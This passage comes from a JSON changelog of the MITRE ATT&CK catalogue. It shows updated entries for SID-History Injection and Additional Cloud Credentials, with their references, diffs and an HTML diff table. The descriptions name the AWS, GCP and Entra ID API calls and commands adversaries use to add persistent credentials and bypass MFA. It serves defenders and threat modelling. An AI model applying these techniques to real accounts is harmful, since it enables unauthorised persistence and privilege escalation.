Remote Management](https://attack.mitre.org/techniques/T1021/006).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1134/005",
                            "external_id": "T1134.005"
                        },
                        {
                            "source_name": "Microsoft Well Known SIDs Jun 2017",
                            "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
                            "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"
                        },
                        {
                            "source_name": "Microsoft SID-History Attribute",
                            "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
                            "url": "https://msdn.microsoft.com/library/ms679833.aspx"
                        },
                        {
                            "source_name": "Microsoft SID",
                            "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
                            "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Alain Homewood, Insomnia Security",
                        "Vincent Le Toux"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:30:16.932000+00:00\", \"old_value\": \"2026-05-12 15:12:00.709000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens.(Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).(Citation: Microsoft SID-History Attribute) \\n\\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values(Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).\", \"old_value\": \"Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\\n\\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\\n+Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens.(Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).(Citation: Microsoft SID-History Attribute) \\n \\n-With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).\\n+With Domain Administrator (or equivalent) rights, harvested or well-known SID values(Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to40__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to40__0\"><a href=\"#difflib_chg_to40__top\">t</a></td><td class=\"diff_header\" id=\"from40_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;SID-History&nbsp;Injection&nbsp;to&nbsp;escalate&nbsp;privil</td><td class=\"diff_next\"><a href=\"#difflib_chg_to40__top\">t</a></td><td class=\"diff_header\" id=\"to40_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;SID-History&nbsp;Injection&nbsp;to&nbsp;escalate&nbsp;privil</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eges&nbsp;and&nbsp;bypass&nbsp;access&nbsp;controls.&nbsp;The&nbsp;Windows&nbsp;security&nbsp;identi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eges&nbsp;and&nbsp;bypass&nbsp;access&nbsp;controls.&nbsp;The&nbsp;Windows&nbsp;security&nbsp;identi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">fier&nbsp;(SID)&nbsp;is&nbsp;a&nbsp;unique&nbsp;value&nbsp;that&nbsp;identifies&nbsp;a&nbsp;user&nbsp;or&nbsp;group</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">fier&nbsp;(SID)&nbsp;is&nbsp;a&nbsp;unique&nbsp;value&nbsp;that&nbsp;identifies&nbsp;a&nbsp;user&nbsp;or&nbsp;group</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;account.&nbsp;SIDs&nbsp;are&nbsp;used&nbsp;by&nbsp;Windows&nbsp;security&nbsp;in&nbsp;both&nbsp;security</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;account.&nbsp;SIDs&nbsp;are&nbsp;used&nbsp;by&nbsp;Windows&nbsp;security&nbsp;in&nbsp;both&nbsp;security</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;descriptors&nbsp;and&nbsp;access&nbsp;tokens.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;SID)&nbsp;An</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;descriptors&nbsp;and&nbsp;access&nbsp;tokens.(Citation:&nbsp;Microsoft&nbsp;SID)&nbsp;An&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;account&nbsp;can&nbsp;hold&nbsp;additional&nbsp;SIDs&nbsp;in&nbsp;the&nbsp;SID-History&nbsp;Active&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">account&nbsp;can&nbsp;hold&nbsp;additional&nbsp;SIDs&nbsp;in&nbsp;the&nbsp;SID-History&nbsp;Active&nbsp;D</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Directory&nbsp;attribute<span class=\"diff_chg\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;SID-History&nbsp;Attribu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">irectory&nbsp;attribute<span class=\"diff_chg\">,&nbsp;allowing&nbsp;inter-operable&nbsp;account&nbsp;migratio</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te),&nbsp;<span class=\"diff_chg\">allowing&nbsp;inter-operable&nbsp;account&nbsp;migration&nbsp;between&nbsp;domai</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">n&nbsp;between&nbsp;domains&nbsp;(e.g.,&nbsp;all&nbsp;values&nbsp;in&nbsp;SID-History&nbsp;are&nbsp;inclu</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">ns&nbsp;(e.g.,&nbsp;all&nbsp;</span>v<span class=\"diff_chg\">alues&nbsp;in&nbsp;SID-History&nbsp;are&nbsp;included&nbsp;in&nbsp;access&nbsp;t</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">ded&nbsp;in&nbsp;access&nbsp;tokens).</span>(Citation:&nbsp;Microsoft&nbsp;SID-History&nbsp;Attri</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">okens).&nbsp;&nbsp;With&nbsp;Domain&nbsp;Administrator&nbsp;(or&nbsp;equivalent)&nbsp;rights,&nbsp;h</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">bute)<span class=\"diff_add\">&nbsp;&nbsp;&nbsp;With&nbsp;Domain&nbsp;Administrator&nbsp;(or&nbsp;equivalent)&nbsp;rights</span>,&nbsp;<span class=\"diff_chg\">ha</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">arvested&nbsp;or</span>&nbsp;well-known&nbsp;SID&nbsp;values<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;Well&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">r</span>v<span class=\"diff_chg\">ested&nbsp;or</span>&nbsp;well-known&nbsp;SID&nbsp;values(Citation:&nbsp;Microsoft&nbsp;Well&nbsp;Kn</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Known&nbsp;SIDs&nbsp;Jun&nbsp;2017)&nbsp;may&nbsp;be&nbsp;inserted&nbsp;into&nbsp;SID-History&nbsp;to&nbsp;ena</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">own&nbsp;SIDs&nbsp;Jun&nbsp;2017)&nbsp;may&nbsp;be&nbsp;inserted&nbsp;into&nbsp;SID-History&nbsp;to&nbsp;enabl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ble&nbsp;impersonation&nbsp;of&nbsp;arbitrary&nbsp;users/groups&nbsp;such&nbsp;as&nbsp;Enterpri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;impersonation&nbsp;of&nbsp;arbitrary&nbsp;users/groups&nbsp;such&nbsp;as&nbsp;Enterprise</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se&nbsp;Administrators.&nbsp;This&nbsp;manipulation&nbsp;may&nbsp;result&nbsp;in&nbsp;elevated&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Administrators.&nbsp;This&nbsp;manipulation&nbsp;may&nbsp;result&nbsp;in&nbsp;elevated&nbsp;ac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">access&nbsp;to&nbsp;local&nbsp;resources&nbsp;and/or&nbsp;access&nbsp;to&nbsp;otherwise&nbsp;inacces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cess&nbsp;to&nbsp;local&nbsp;resources&nbsp;and/or&nbsp;access&nbsp;to&nbsp;otherwise&nbsp;inaccessi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sible&nbsp;domains&nbsp;via&nbsp;lateral&nbsp;movement&nbsp;techniques&nbsp;such&nbsp;as&nbsp;[Remot</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ble&nbsp;domains&nbsp;via&nbsp;lateral&nbsp;movement&nbsp;techniques&nbsp;such&nbsp;as&nbsp;[Remote&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Services](https://attack.mitre.org/techniques/T1021),&nbsp;[SMB</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Services](https://attack.mitre.org/techniques/T1021),&nbsp;[SMB/W</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/Windows&nbsp;Admin&nbsp;Shares](https://attack.mitre.org/techniques/T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">indows&nbsp;Admin&nbsp;Shares](https://attack.mitre.org/techniques/T10</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">1021/002),&nbsp;or&nbsp;[Windows&nbsp;Remote&nbsp;Management](https://attack.mit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">21/002),&nbsp;or&nbsp;[Windows&nbsp;Remote&nbsp;Management](https://attack.mitre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re.org/techniques/T1021/006).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.org/techniques/T1021/006).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1015: Active Directory Configuration"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0136: Behavior-chain detection for T1134.005 Access Token Manipulation: SID-History Injection (Windows)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-19 16:10:15.008000+00:00",
                    "modified": "2026-11-04 01:15:27.307000+00:00",
                    "name": "Additional Cloud Credentials",
                    "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. Alternatively, they may use the <code>CreateLoginProfile</code> API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence)\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42-untangling) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1098/001",
                            "external_id": "T1098.001"
                        },
                        {
                            "source_name": "Crowdstrike AWS User Federation Persistence",
                            "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.",
                            "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"
                        },
                        {
                            "source_name": "Expel IO Evil in AWS",
                            "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
                            "url": "https://expel.io/blog/finding-evil-in-aws/"
                        },
                        {
                            "source_name": "SpecterOps Azure Privilege Escalation",
                            "description": "Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.",
                            "url": "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5"
                        },
                        {
                            "source_name": "Demystifying Azure AD Service Principals",
                            "description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.",
                            "url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/"
                        },
                        {
                            "source_name": "Lacework AI Resource Hijacking 2024",
                            "description": "Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.",
                            "url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"
                        },
                        {
                            "source_name": "GCP SSH Key Add",
                            "description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.",
                            "url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add"
                        },
                        {
                            "source_name": "Permiso Scattered Spider 2023",
                            "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.",
                            "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
                        },
                        {
                            "source_name": "Blue Cloud of Death Video",
                            "description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.",
                            "url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815"
                        },
                        {
                            "source_name": "Blue Cloud of Death",
                            "description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.",
                            "url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1"
                        },
                        {
                            "source_name": "Microsoft Entra ID App Passwords",
                            "description": "Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.",
                            "url": "https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords"
                        },
                        {
                            "source_name": "Microsoft SolarWinds Customer Guidance",
                            "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
                            "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
                        },
                        {
                            "source_name": "Mandiant APT42-untangling",
                            "description": "Rozmann, O., et al. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved October 9, 2024.",
                            "url": "https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations"
                        },
                        {
                            "source_name": "Expel Behind the Scenes",
                            "description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.",
                            "url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/"
                        },
                        {
                            "source_name": "Sysdig ScarletEel 2.0",
                            "description": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.",
                            "url": "https://sysdig.com/blog/scarleteel-2-0/"
                        },
                        {
                            "source_name": "Rhino Security Labs AWS Privilege Escalation",
                            "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                            "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Expel",
                        "Oleg Kolesnikov, Securonix",
                        "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)",
                        "Zur Ulianitzky, XM Cyber",
                        "Alex Soler, AttackIQ",
                        "Dylan Silva, AWS Security",
                        "Arad Inbar, Fidelis Security",
                        "Arun Seelagan, CISA"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "IaaS",
                        "Identity Provider",
                        "SaaS"
                    ],
                    "x_mitre_version": "2.8",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:15:27.307000+00:00\", \"old_value\": \"2026-09-17 17:49:30.904000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\\n\\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\\n\\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\\n\\nAdversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. Alternatively, they may use the <code>CreateLoginProfile</code> API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \\n\\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\\u2019s API credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence)\\n\\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42-untangling) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)\", \"old_value\": \"Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\\n\\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\\n\\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\\n\\nAdversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. Alternatively, they may use the <code>CreateLoginProfile</code> API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \\n\\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\\u2019s API credentials are deactivated.\\n(Citation: Crowdstrike AWS User Federation Persistence)\\n\\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42-untangling) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)\", \"diff\": \"--- \\n+++ \\n@@ -6,7 +6,6 @@\\n \\n Adversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. Alternatively, they may use the 